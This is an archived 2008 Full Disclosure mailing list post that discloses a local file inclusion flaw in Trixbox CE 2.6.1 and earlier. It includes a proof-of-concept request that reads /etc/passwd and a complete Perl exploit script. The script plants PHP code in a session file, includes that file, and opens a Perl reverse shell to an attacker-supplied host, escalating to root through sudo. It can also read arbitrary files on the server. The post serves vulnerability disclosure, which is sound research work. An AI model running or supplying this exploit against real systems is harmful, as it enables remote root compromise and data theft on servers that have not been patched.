Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Trixbox 2.6.1 and below, remote root shell through local file inclusion
From: "Jean-Michel Besnard" <jmbesnard () gmail com>
Date: Wed, 9 Jul 2008 13:54:39 +0200

I have discovered a file inclusion in Trixbox that may be exploited to
run arbitrary code and eventually obtain a root shell.

The vendor (Fonality) has been noticed about this issue. They have
fixed it and shall release a patch this week. I have already posted an
exploit (giving a shell with uid=asterisk) on www.milw0rm.com and at
securityfocus (BID=30135) but since I have figured out afterwards that
it was also possible to obtain a root shell, those exploits should be
updated:


Please find hereafter the advisory and the updated exploit:

ADVISORY:

Vulnerability Found: 7th July 2008

Vendor informed: 7th July 2008

Severity: Critical

BID: 30135

Successfully tested on: Trixbox CE 2.6.1 and below

Description:

A local file inclusion vulnerability affects Trixbox CE, an
Asterisk-based PBX Phone system. This issue is due to a failure of the
application to properly sanitize POST data assigned to a parameter of
the /user/index.php page.

An attacker may leverage this issue to read local files, execute PHP
scripts and eventually obtain a root shell.

Vulnerable server-side program: '/user/index.php'

Vulnerable parameter: 'langChoice'

Proof of concept:

COMPLETE HTTP REQUEST:

POST /user/index.php HTTP/1.1
Host: 192.168.1.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

langChoice=../../../../../etc/passwd%00

COMPLETE HTTP RESPONSE:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2008 13:25:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.2
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

1f4a
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[...]

Consequences:

A remote root shell can be obtained on the affected server.

Fix:

Fonality has stated that they have submitted a fix into SVN and it
will be part of the next update that will go out this week.

Credits:

Jean-Michel BESNARD of LEXSI Audit.



EXPLOIT
#!/usr/bin/perl -w

# Jean-Michel BESNARD <jmbesnard () gmail com> / LEXSI Audit
# 2008-07-09
# This is an update of the previous exploit. We can now get a root
shell, thanks to sudo.
#
# perl trixbox_fi_v2.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
#     1> Remote TCP shell
#     2> Read local file
# 1
# Host and port the reverse shell should connect to ? (<host>:<port>):
192.168.1.132:4444
# Which uid would you like for your shell ? (uid=root will be OK on
most recent trixbox versions only): [root|asterisk]
# root
# Make sure you've opened a server socket on port 4444 at
192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...

# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
# bash: no job control in this shell
# bash-3.1# id
# uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# bash-3.1#


use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;

usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";;
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);

menu();

sub execScript{
    my $scriptCode = shift;
    post($scriptCode);
    my $phpsessionid = extractPHPSID($cookie_jar->as_string);
    post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid%00");
}

sub post{
    my $postData = shift;
    my $req = HTTP::Request->new(POST => $url);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($postData);
    my $res = $ua->request($req);
    my $content = $res->content;
    return $content;
}

sub readFile{
    my $file = shift;
    my $content = post("langChoice=../../../../../../../../../..$file%00");
    my @fileLines = split(/\n/,$content);
    my $fileContent = "Content of $file: \n\n";
    for(my $i=3;$i<@fileLines;$i++){
        last if($fileLines[$i] =~ m/trixbox - User Mode/);
        $fileContent = $fileContent . $fileLines[$i-3] . "\n";
    }
    return $fileContent;
}

sub tcp_reverse_shell{
    my $rhost= shift;
    my $rport = shift;
    my $uid = shift;
    my $rshell;
    if($uid eq "asterisk"){
        $rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e
'\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"}
(\"JMB\", \"-i\"));'`;?>%00";

    }else{
        $rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e
'\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\",
(\"-i\"));'`;?>%00";
    }
    execScript($rshell);
}


sub extractPHPSID{
    $_ = shift;
    if(/PHPSESSID=(\w+)/){
        return $1;
    }
}

sub menu{
    print <<EOF;
Please listen carefully as our menu option has changed
Choose from the following options:
    1> Remote TCP shell
    2> Read local file
EOF
    my $option = <STDIN>;
    chop($option);
    switch($option){
        case 1 {
            print "Host and port the reverse shell should connect to ? ";
            print "(<host>:<port>): ";
            my $hp=<STDIN>;
            chop($hp);
            print "Which uid would you like for your shell ? (uid=root will
be OK on most recent trixbox versions only): [root|asterisk]";
            my $uid=<STDIN>;
            chop($uid);
            my($rhost,$rport) = split(/:/,$hp);
            print "Make sure you've opened a server socket on port $rport at
$rhost (e.g, nc -l -p $rport)\n";
            print "Press enter to continue...";
            <STDIN>;
            tcp_reverse_shell($rhost,$rport,$uid);
            print "done...\n";
            }
        case 2 {
            while(1){
                print "Full path (e.g. /etc/passwd): ";
                my $file = <STDIN>;
                chop($file);
                print readFile($file) . "\n\n";
            }
        }
    }
}

sub usage{
    print "./trixbox_fi.pl <host>\n";
    exit 1;
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Trixbox 2.6.1 and below, remote root shell through local file inclusion Jean-Michel Besnard (Jul 09)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault